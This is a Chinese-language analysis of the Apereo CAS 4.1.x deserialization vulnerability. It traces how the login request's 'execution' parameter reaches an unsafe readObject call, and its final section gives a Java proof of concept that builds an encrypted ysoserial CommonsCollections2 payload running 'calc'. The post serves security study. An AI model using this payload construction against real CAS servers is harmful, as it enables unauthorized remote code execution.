0x00 前言
CAS全称Central Authentication Service(中心认证服务),是一个单点登录(Single-Sign-On)协议,Apereo CAS是实现该协议的软件包。CAS最初由Yale大学的Shawn Bayern开发实现,随后由Yale大学的Drew Mazurek负责维护。2016年4月CAS官方披露了v4.1.x和v4.2.x[1]版本存在反序列化漏洞,本文对Apereo CAS反序列化漏洞的成因进行了相关分析,如有不足之处欢迎指正。
0x01 漏洞分析
1. 了解Java反序列化
序列化是把对象转换成字节流,反序列化是逆过程,把字节流还原成对象。Java中ObjectOutputStream类的writeObject()方法可以实现对象的序列化,ObjectInputStream类的readObject()方法用于反序列化。如果被序列化的类重写了readObject()方法,在反序列化的时候,会调用重写的readObject()方法,如果重写的readObject()方法里面被插入了恶意代码,那在反序列化的过程中恶意代码就会被自动执行。具体看示例代码容易理解一点:
定义需要被序列化的类Users
import java.io.IOException;import java.io.Serializable;//需要被序列化的类,必须实现Serializable接口public class Users implements Serializable { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } //重写readObject方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { //调用默认readObject方法,不破坏原逻辑 in.defaultReadObject(); System.out.println("重写的readObject方法..."); }}
把Users对象序列化,保存到本地users.bin文件中
public void serialize() throws IOException { FileOutputStream out = new FileOutputStream("users.bin"); ObjectOutputStream obj = new ObjectOutputStream(out); Users user = new Users(); user.setName("Apereo CAS"); obj.writeObject(user); }
反序列化还原user.bin文件中的Users对象
public static void deserialize() throws IOException, ClassNotFoundException { FileInputStream in = new FileInputStream("users.bin"); ObjectInputStream obj = new ObjectInputStream(in); //Users类中重写了readObject方法,会自动调用Users类中的readObject方法 Users user = (Users) obj.readObject(); System.out.println(user.getName()); }
调用deserialize方法后输出如下,发现Users类中的readObject方法被自动调用
2. 环境准备
以cas-4.1.5[2]版本为例,下载war包,配置好tomcat运行环境,在tomcat bin目录下的catalina.bat文件中新增启动参数,使tomcat支持jdb动态调试
set CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8899
启动tomcat,8899端口开启说明可以使用jdb调试
访问cas应用,抓取登录请求数据包如下
3. execution参数分析
根据poc知道造成漏洞的原因的post参数execution造成的,所以需要找到处理execution参数的servlet,先看看web.xml配置文件,/cas/login
接口由org.springframework.web.servlet.DispatcherServlet
处理。
(注: spring中servlet的url-pattern匹配规则需要减去应用上下文路径,以剩余的字符串作为servlet映射。)
搜索下DispatcherServlet类所在文件
反编译spring-webmvc-4.1.8.RELEASE.jar,根据Spring DispatcherServlet请求分发流程可知,最终的核心处理方法是DispatcherServlet的doDispatch方法
需要关注的代码是939行的HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
,这里获取此次请求的HandlerAdapter,然后在959行 mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
调用实际实现的handle方法处理具体逻辑。
使用JDB断点939行,看看处理当前登录请求的HandlerAdapter实现类
grep搜索SelectiveFlowHandlerAdapter类所在文件
反编译cas-server-webapp-support-4.1.5.jar,handle方法实现在SelectiveFlowHandlerAdapter的父类./WEB-INF/lib/spring-webflow-2.4.1.RELEASE.jar!/org/springframework/webflow/mvc/servlet/FlowHandlerAdapter.class
文件中
静态分析handle方法,可知在224行调用了getFlowExecutionKey方法处理request,使用JDB动态调试看一看,其实现在org.jasig.cas.web.flow.CasDefaultFlowUrlHandler类中,该类在cas-server-webapp-support-4.1.5.jar文件里
getFlowExecutionKey方法实现如下,可知这里获取了post参数execution
回到handle方法,getFlowExecutionKey返回结果不等于null,进入225行的if判断,然后把获取的execution参数值传入resumeExecution方法,继续JDB调试,resumeExecution方法实现在FlowExecutorImpl类中
spring-webflow-2.4.1.RELEASE.jar!/org/springframework/webflow/executor/FlowExecutorImpl.class的resumeExecution方法实现如下
继续跟进164行的parseFlowExecutionKey方法,其实现在spring-webflow-client-repo-1.0.0.jar!/org/jasig/spring/webflow/plugin/ClientFlowExecutionRepository.class文件中
parse方法实现在ClientFlowExecutionKey类中,这里把execution参数值通过"_
"符号split存放在String数组里面,然后base64解码再作为参数传入ClientFlowExecutionKey构造函数并RETURN
返回去接着看spring-webflow-2.4.1.RELEASE.jar!/org/springframework/webflow/executor/FlowExecutorImpl.class的resumeExecution方法,把return的ClientFlowExecutionKey对象传入getFlowExecution方法
getFlowExecution方法实现如下
88行先getData()获取execution参数"_
"符号分割的后部分数据,data通过ClientFlowExecutionKey构造函数赋值
然后把获取到的数据传入this.transcoder.decode方法中,该方法实现在spring-webflow-client-repo-1.0.0.jar!/org/jasig/spring/webflow/plugin/EncryptedTranscoder.class文件
分析decode方法可知,首先把传入的data通过cipherBean.decrypt
方法解密,最后解密的数据在117行in.readObject()
处触发Java反序列化漏洞。这里数据加解密使用的是AES对称算法
4. 构造POC
通过分析我们知道Apereo CAS应用RCE漏洞是Java反序列化造成的,所以可以借助GitHub开源工具ysoserial[3]生成POC,注意AES加密结果需要base64编码一下
import org.cryptacular.util.CodecUtil;import ysoserial.payloads.ObjectPayload;public class ApereoExploit { public static void main(String[] args) throws Exception{ String poc[] = {"CommonsCollections2","calc"}; final Object payloadObject = ObjectPayload.Utils.makePayloadObject(poc[0], poc[1]); //AES加密 EncryptedTranscoder et = new EncryptedTranscoder(); byte[] encode = et.encode(payloadObject); //base64编码 System.out.println(CodecUtil.b64(encode)); }}
效果如下
0x02 结语
漏洞成因本身并不复杂,有意义的在于分析过程中的所学所获,笔者水平有限,文章内容如有错误的地方,还请不吝赐教。
References
[1]
v4.1.x和v4.2.x: https://apereo.github.io/2016/04/08/commonsvulndisc/[2]
cas-4.1.5: https://repo1.maven.org/maven2/org/jasig/cas/cas-server-webapp/4.1.5/cas-server-webapp-4.1.5.war[3]
ysoserial: https://github.com/frohoff/ysoserial[4]
深入理解Spring系列之十:DispatcherServlet请求分发源码分析: https://www.jianshu.com/p/1a17e210410c[5]
Apereo CAS 4.X execution参数反序列化漏洞分析: https://www.bus123.net/11807.html[6]
Java反序列化漏洞从无到有: https://www.freebuf.com/column/155381.html